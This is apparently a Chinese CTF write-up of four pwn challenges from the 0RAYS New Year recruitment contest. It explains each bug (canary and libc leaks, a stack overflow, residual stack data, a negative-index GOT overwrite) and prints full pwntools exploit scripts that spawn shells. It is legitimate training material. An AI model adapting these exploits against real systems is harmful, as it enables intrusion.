0RAYS元旦招新赛
一共有4道pwn题,题目不算难,但是挺考验调试能力的。
pie
一个main函数就四次溢出...
第一次leak canary,第二次leak libc,第三次直接覆盖返回地址为one_gadgets,第四次摸鱼。感觉应该不是预期解,毕竟题目叫pie,程序本身有system("/bin/sh")也没有用到。
1 from pwn import *
2
3 p = process(['./pie'],env={"LD_PRELOAD":"./libc.so.6"})
4 #p = process('./pie')
5 elf = ELF('./pie')
6 libc = ELF('./libc.so.6')
7 context.log_level = 'debug'
8
9 og = [0x4f3d5,0x4f432,0x10a41c]
10
11 p.sendafter('name?\n','a'*0x18+'b')
12 p.recvuntil('b')
13 canary = u64(p.recv(7).rjust(8,'\x00'))
14 print 'canary-->'+hex(canary)
15
16 p.sendafter('from?\n','a'*0x20+'bbbbbbbb')
17 p.recvuntil('bbbbbbbb')
18 libc_base = u64(p.recv(6).ljust(8,'\x00'))-231-libc.symbols['__libc_start_main']
19 print 'libc_base'+hex(libc_base)
20 shell = libc_base+og[0]
21
22 p.sendafter('know?\n',p64(libc_base)+'a'*0x10+p64(canary)+'bbbbbbbb'+p64(shell))
23 p.sendafter('no)\n','no\x00')
24 p.recv()
25 p.interactive()
QAQ
此题不适合看伪代码,得直接看汇编。
只有一个输入。还是需要读一下汇编。
执行完call,返回值一般是保存在eax中,这里执行了test eax,eax,其实就是在改变标志寄存器,我们这里需要让strcmp的返回值是0,这样就能跳转到loc_8048547这里。
看栈空间就可以知道,buf和s2,就是相比较的这两个字符串相差10个字节。
我们写payload='a'*9+'\x00'+'a'*9+'\x00',并且在跳转那里下断点。
第一次跳转之后,还有一层需要绕过。
判断ebp+var_44的值和1Bh是否相等,如果相等才能执行system("/bin/sh")。看栈空间分布,发现这个我们没办法赋值。
在buf上面,没办法写入。这个时候我又看上面的汇编。
发现有一处就是给这个位置赋值的,是将ebp+0xarg_0赋值给这个位置。而ebp+0xarg_0是在返回地址下面。距离也很好算,用静态分析,动态分析都能看出怎么多远。这题就算是做完了。
1 from pwn import *
2
3 p = process('./pwn')
4 context.log_level = 'debug'
5
6 #gdb.attach(p,'b *0x08048534')
7
8 sleep(0.1)
9 p.send('aaaaaaaaa\x00'+'aaaaaaaaa\x00aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa\x1b')
10 p.interactive()
easyStack
64位程序,没开pie。
主要就是要让shell大于3920,进入backdoor,里面有shell。
在question中,有一个scanf函数是往v1里面写值。而v1是栈上的,而且不受我们控制。我当时想了半天也不知道怎么做。在name函数中也没有发现漏洞点。
后来想到以前做过一道栈数据残留的题,然后就cyclic 100,写入数据,在question中scanf那里下断点。看看这个时候的v1是多少。
果然name函数的值没有被清空,残留到了这个栈里面。此时v1是让paaa填充的。所以我们将cyclic生成的paaa处写入p32(shell),然后写入一个大于3920的数字,顺利执行就能拿到shell了。
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 context.log_level = 'debug'
6
7 def duan():
8 gdb.attach(p)
9 pause()
10 shell = 0x060108C
11 payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa'+p32(shell)
12
13 p.sendafter('name?\n',payload)
14 p.sendafter('else?\n','pwner')
15 p.sendlineafter('1/0]\n','4000')
16 p.recv()
17 p.interactive()
PTT0的记账本
题目其实已经给提示了。。。
看着像一道heap,其实并不是。。。感觉我应该是写的比较麻烦了。漏洞点就是在写index的时候,写成负数,虽然是在bss段,但是上面就是got段,将指针申请上去,可以泄露libc基地址,然后改写got表。直接放exp了。
1 from pwn import *
2
3 p = process(['./book'],env={"LD_PRELOAD":"./libc.so.6"})
4 #p = process('./book')
5 elf = ELF('./book')
6 libc = ELF('./libc.so.6')
7 context.log_level = 'debug'
8
9 og = [0x4f3d5,0x4f432,0x10a41c]
10
11 def duan():
12 gdb.attach(p)
13 pause()
14
15 def add(index,time,deaeline,money,interest,name):
16 p.sendlineafter('>> ','1')
17 p.sendlineafter('index:',str(index))
18 p.sendlineafter('time: ',str(time))
19 p.sendlineafter('deadline: ',str(deaeline))
20 p.sendlineafter('money: ',str(money))
21 p.sendlineafter('interest: ',str(interest))
22 p.sendafter('name: ',name)
23
24 def delete(index):
25 p.sendlineafter('>> ','2')
26 p.sendlineafter('index:',str(index))
27
28 def show(index):
29 p.sendlineafter('>> ','3')
30 p.sendlineafter('index:',str(index))
31
32
33 show(-6)
34 p.recvuntil('time: ')
35 time = int(p.recvuntil('\n')[:-1])
36 print 'time-->'+hex(time)
37
38 p.recvuntil('deadline: ')
39 deadline = int(p.recvuntil('\n')[:-1])
40 print 'deadline-->'+hex(deadline)
41
42 #leak libc
43 p.recvuntil('money: ')
44 money = p.recvuntil('\n')[:-1]
45 p.recvuntil('interest: ')
46 interest = p.recvuntil('\n')[:-1]
47 printf_got = str(hex(int(interest)))+str(hex(int(money)))
48 printf_got = int(printf_got[:6]+printf_got[8:],16)
49 print 'print_got-->'+hex(printf_got)
50 libc_base = printf_got-libc.symbols['printf']
51 print 'libc_base-->'+hex(libc_base)
52
53 for i in range(len(og)):
54 print str(i)+'-->'+hex(libc_base+og[i])
55 shell = str(hex(libc_base+og[2]))
56 payload = int('0x'+shell[-8:],16)
57 print payload
58
59 p.sendlineafter('>> ','1')
60 p.sendlineafter('index:',str(-6))
61 p.sendlineafter('time: ',str(0xaa))
62 p.sendlineafter('deadline: ',str(0xbb))
63 p.sendlineafter('money: ',str(payload))
64 p.interactive()
因为做的人不多,题目难度不大,赶着做还是拿了两道题的一血,两道题的二血,也有一些收获,总之还是很开兴的。
0RAYS元旦招新赛的更多相关文章
- 2019级第一次月赛暨ACM工作室第一次招新赛、补题赛
A:最简单签到,没有之一 Description 此题简单如题意,就是求最大值 Input 多组输入 每组输入输入一串字符串(包括字母和数字),长度小于500 Output 每行输出字符ASCII值与 ...
- ACM团队招新赛题解
标程代码全部为C语言编写.代码中的#if LOCAL_ 至#endif为本地一些调试内容,可以忽略. Xenny的A+B(1)[容易][签到] 签到题,做不出的话可能你有点不太适合ACM了. Xenn ...
- 招新系统(jsp+servlet,实现简略前端网页注册登录+后台增删改查,分学生和管理员,Java语言,mysql数据库连接,tomcat服务器)
生活不只是眼前的苟且,还有诗和远方. 架构说明: 要求是采用MVC模式,所以分了下面的几个包,但是由于是第一次写,可能分的也不是很清楚: 这个是后台部分的架构: 这个是前端的的展示: (那个StuLo ...
- ACM_招新笔试题系列——买包子
招新笔试题系列——买包子 Time Limit: 2000/1000ms (Java/Others) Problem Description: 小华刚到大学,一天早上她替她室友买早餐,一共要N个包子. ...
- XDTIC2019招新笔试题 + 官方解答
腾讯创新俱乐部2019年招新笔试试题 [1] 小宗学长正在努力学习数论,他写下了一个奇怪的算式: \[ 2019^{2018^{2017^{\dots^{2^1}}}} \] 算式的结果一定很大, ...
- 招新裁老,两面派互联网大厂,培训三个月,就拿15K,凭什么?
看到一位朋友在发帖子求问:亲身经历,(如有谎言我名字倒过来写)一个大学同学18年毕业的.在兰州一个二本学的兽医农牧,毕业难找工作,去深圳一个机构培训了三个月吧,然后就去做大数据 算法了,然后又去做ja ...
- CTFshow-萌新赛逆向_签退
查看题目信息 下载re3.pyc文件 使用uncompyle把re3.pyc反编译为re3.py uncompyle6 re3.pyc > re3.py 查看re3.py文件 # uncompy ...
- CTFshow-萌新赛逆向_flag白给
查看题目信息 下载后得到一个flag.exe文件,进行测试 使用PEiD查壳 发现一个upx的壳 使用命令进行解壳 upx -d 拿到一个无壳的程序 放进OD打开,查找关键词 发现信息 成功拿到序列号 ...
- CTFshow萌新赛-萌新福利
下载链接文件 拿到show.bin文件 使用010Editor工具打开文件 做取反操作 取反后可以看到 把show.bin改为show.m4a 使用音频播放软件播放,即可得到flag
随机推荐
- [cf1479D]Odd Mineral Resource
先考虑判定是否有解,注意到无解即每一个数都出现偶数次,根据异或的性质,只需要随机$V_{i}$,假设$u$到$v$路径上所有节点构成集合$S$,若$\bigoplus_{x\in S,l\le a_{ ...
- [noi110]翘课
发现加边操作不好处理,因此考虑先加完所有边后删边. 删去一对边x到y,如果两者中有一个不翘课显然没有意义,那么如果都翘课了那么就对他们进行判断,如果无法翘课就继续搜下去. 这样的时间复杂度看上去似乎是 ...
- [atARC058F]Lroha Loves Strings
贪心,求出前$i$个字符串所能组成的字典序最小的字符串$ans$(特别的,这里的字典序有$ab>abc$),同时保证剩下的长度能通过$l_{i+1},...,l_{n}$拼接 考虑插入一个字符串 ...
- 数字逻辑实践2->Verilog编写规范
来源:数字逻辑与Verilog设计实验课讲解,个人做的笔记与整理. 00 规范的重要性 良好的编程风格有利于减少消耗的硬件资源,提高设计的工作频率 . 提高系统的可移植性和可维护性. 程序的格式化能体 ...
- springboot启动流程1
public SpringApplication(ResourceLoader resourceLoader, Class<?>... primarySources) { this.res ...
- js防止重复提交代码
if (checkSubmitFlg == true) { console.log("禁止频繁操作.."); layer.close(ide); return false; } c ...
- 从零开始学Kotlin第一课
Kotlin的方法: 一个简单的计算器: fun main(args:Array<String>){ //主函数main方法 var a=8; var b=9; println(plus( ...
- File与IO基础
IO流的作用:持久化到磁盘 File类的使用 File类基本概念 文件和文件夹都是用File类来表示. File类是内存层面的对象,内存中创建出来的File对象不一定有一个真实存在的文件或文件夹,但是 ...
- Codeforces 1340F - Nastya and CBS(分块+哈希)
Codeforces 题面传送门 & 洛谷题面传送门 首先看到这样的数据范围我们可以考虑分块,具体来说,对于每一块我们记录其中的括号是否能完全消掉,以及对其进行括号相消之后的括号序列(显然是一 ...
- 用 AppImage文件创建快捷图标和软连接
背景 AppImage是一种在Linux系统中用于分发便携式软件而不需要超级用户权限来安装它们的格式.[1] 它还试图允许Linux的上游开发者来分发他们的程序而不用考虑不同Linux发行版间的区别. ...